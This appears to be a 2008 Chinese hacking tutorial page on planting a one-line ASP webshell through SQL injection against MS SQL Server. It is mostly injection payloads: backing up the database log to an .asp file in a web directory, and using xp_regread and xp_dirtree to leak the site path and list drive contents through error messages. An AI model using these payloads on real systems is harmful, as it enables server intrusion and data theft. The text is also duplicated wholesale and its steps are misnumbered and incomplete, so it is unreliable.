DBO权限日志备份专用一句话木马
作者:佚名 文章来源:不详 点击数: 更新时间:2008-6-29
备分专用一句话
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
日志备分WEBSHELL标准的七步:
1.InjectionURL’;alter database XXX set RECOVERY FULL-- (把sql设置成日志完全恢复模式)
2.InjectionURL’;create table cmd (a image)-- (新建立一个cmd表)
3.InjectionURL’;backup log XXX to disk = ’c:\cmd’ with init-- (减少备分数据的大小)
4.InjectionURL’;insert into cmd (a) values (’"的16进制字符插入到表中
4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=’C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\hsqq.asp’ backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsQQ.asp。
5、drop table [jm_tmp]-- 删除此表。
网站物理路径读取代码:
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中
3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段
4、drop table [jm_tmp]-- 删除此表。
磁盘目录读取代码:
1、drop table [jm_tmp];create table [jm_tmp](subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- 创建表
2、delete [jm_tmp];insert [jm_tmp] exec master..xp_dirtree ’C:\’,1,1-- 将C盘的文件夹及文件插入到表中
3、 and 1=(select top 1 cast([subdirectory] as nvarchar(400)) char(124) cast([file] as nvarchar(1)) char(124) From(select Top 1 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) ’//暴出第一个文件夹名称
4、and 1=(select top 1 cast([subdirectory] as nvarchar(400)) char(124) cast([file] as nvarchar(1)) char(124) From(select Top 2 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) ’//暴出第二个文件夹名称
5、and 1=(select top 1 cast([subdirectory] as nvarchar(400)) char(124) cast([file] as nvarchar(1)) char(124) From(select Top X [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) ’//暴出第X个文件夹或文件名称
6、drop table [jm_tmp]--删除此表
1 2 下一页
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
日志备分WEBSHELL标准的七步:
1.InjectionURL’;alter database XXX set RECOVERY FULL-- (把sql设置成日志完全恢复模式)
2.InjectionURL’;create table cmd (a image)-- (新建立一个cmd表)
3.InjectionURL’;backup log XXX to disk = ’c:\cmd’ with init-- (减少备分数据的大小)
4.InjectionURL’;insert into cmd (a) values (’"的16进制字符插入到表中
4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=’C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\hsqq.asp’ backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsQQ.asp。
5、drop table [jm_tmp]-- 删除此表。
网站物理路径读取代码:
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中
3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段
4、drop table [jm_tmp]-- 删除此表。
磁盘目录读取代码:
1、drop table [jm_tmp];create table [jm_tmp](subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- 创建表
2、delete [jm_tmp];insert [jm_tmp] exec master..xp_dirtree ’C:\’,1,1-- 将C盘的文件夹及文件插入到表中
3、 and 1=(select top 1 cast([subdirectory] as nvarchar(400)) char(124) cast([file] as nvarchar(1)) char(124) From(select Top 1 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) ’//暴出第一个文件夹名称
4、and 1=(select top 1 cast([subdirectory] as nvarchar(400)) char(124) cast([file] as nvarchar(1)) char(124) From(select Top 2 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) ’//暴出第二个文件夹名称
5、and 1=(select top 1 cast([subdirectory] as nvarchar(400)) char(124) cast([file] as nvarchar(1)) char(124) From(select Top X [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) ’//暴出第X个文件夹或文件名称
6、drop table [jm_tmp]--删除此表